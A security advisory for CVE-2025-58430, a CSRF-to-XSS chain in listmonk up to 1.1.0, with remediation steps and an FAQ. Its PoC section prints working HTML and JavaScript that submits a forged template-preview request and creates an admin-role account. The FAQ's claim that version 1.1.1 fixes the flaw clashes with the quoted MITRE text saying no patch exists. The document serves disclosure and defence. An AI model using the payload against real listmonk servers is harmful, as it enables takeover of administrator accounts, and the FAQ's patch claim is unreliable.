CVE-2025-58430: listmonk Vulnerable to CSRF to XSS Chain That Can Lead to Admin Account Takeover
Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.
This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce : <img width="1418" height="772" alt="usercreationwithoutnonceburprequest" src="https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32" />
PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:
<img width="1912" height="935" alt="browsertemplateeditorwithalert" src="https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad" />
And this request can also be made without nonce.
<img width="1883" height="707" alt="templatepreviewburprequestwithoutnonce" src="https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41" />
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).
This is possible for 2 reasons : 1) There is no validation of the nonce (as mentioned above) 2) The session cookie has no samesite flag
<img width="1557" height="593" alt="nosamesiteresponsecookieburp" src="https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77" />
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one. Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).
For example, we can host this html page to prompt the admin to make a post request
html <html> <!-- CSRF PoC --> <body> <form action="https://10.100.132.47/api/templates/preview" method="POST"> <input type="hidden" name="template_type" value="campaign" /> <input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions) - Chrome ❌ - Firefox ✅ - Edge ✅
Example in Firefox :
!xssmozillapoc
We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account: <img width="1226" height="925" alt="browsertemplateeditorwithfinalpayload" src="https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a" />
html <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true); xhr.setRequestHeader("Content-Type", "application\/json"); xhr.withCredentials = true; var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"passwordlogin\":true,\"userroleid\":1,\"listroleid\":null}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script>
The final poc that exploits CSRF + XSS, allowing admin account creation:
html
<html> <!-- CSRF PoC --> <body> <form action="https://10.100.132.47/api/templates/preview" method="POST"> <input type="hidden" name="template_type" value="campaign" /> <input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Impact Admin account creation
Other sources
listmonk is a standalone, self-hosted, newsletter and mailing list manager. In versions up to and including 1.1.0, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly. This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability. Cross-site request forgery and cross-site scripting chained together can result in improper admin account creation. As of time of publication, no patched versions are available.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Require and validate the nonce on every HTTP request in addition to the session cookie; reject requests with a missing or invalid nonce.
listmonk HTTP request authentication nonce validation - Configuration
Set an explicit SameSite policy on the session cookie named session instead of relying on the browser default.
listmonk session cookie SameSite
Event History
Frequently Asked Questions
What is the severity of CVE-2025-58430?
CVE-2025-58430 is classified as a medium severity vulnerability due to the lack of nonce validation.
How do I fix CVE-2025-58430?
To fix CVE-2025-58430, upgrade to listmonk version 1.1.1 or later which includes nonce validation.
What type of vulnerability is CVE-2025-58430?
CVE-2025-58430 is a security vulnerability related to improper handling of nonce values in HTTP requests.
What are the affected versions for CVE-2025-58430?
CVE-2025-58430 affects listmonk versions up to and including 1.1.0.
Who is impacted by CVE-2025-58430?
Users of listmonk running versions up to 1.1.0 are impacted by CVE-2025-58430.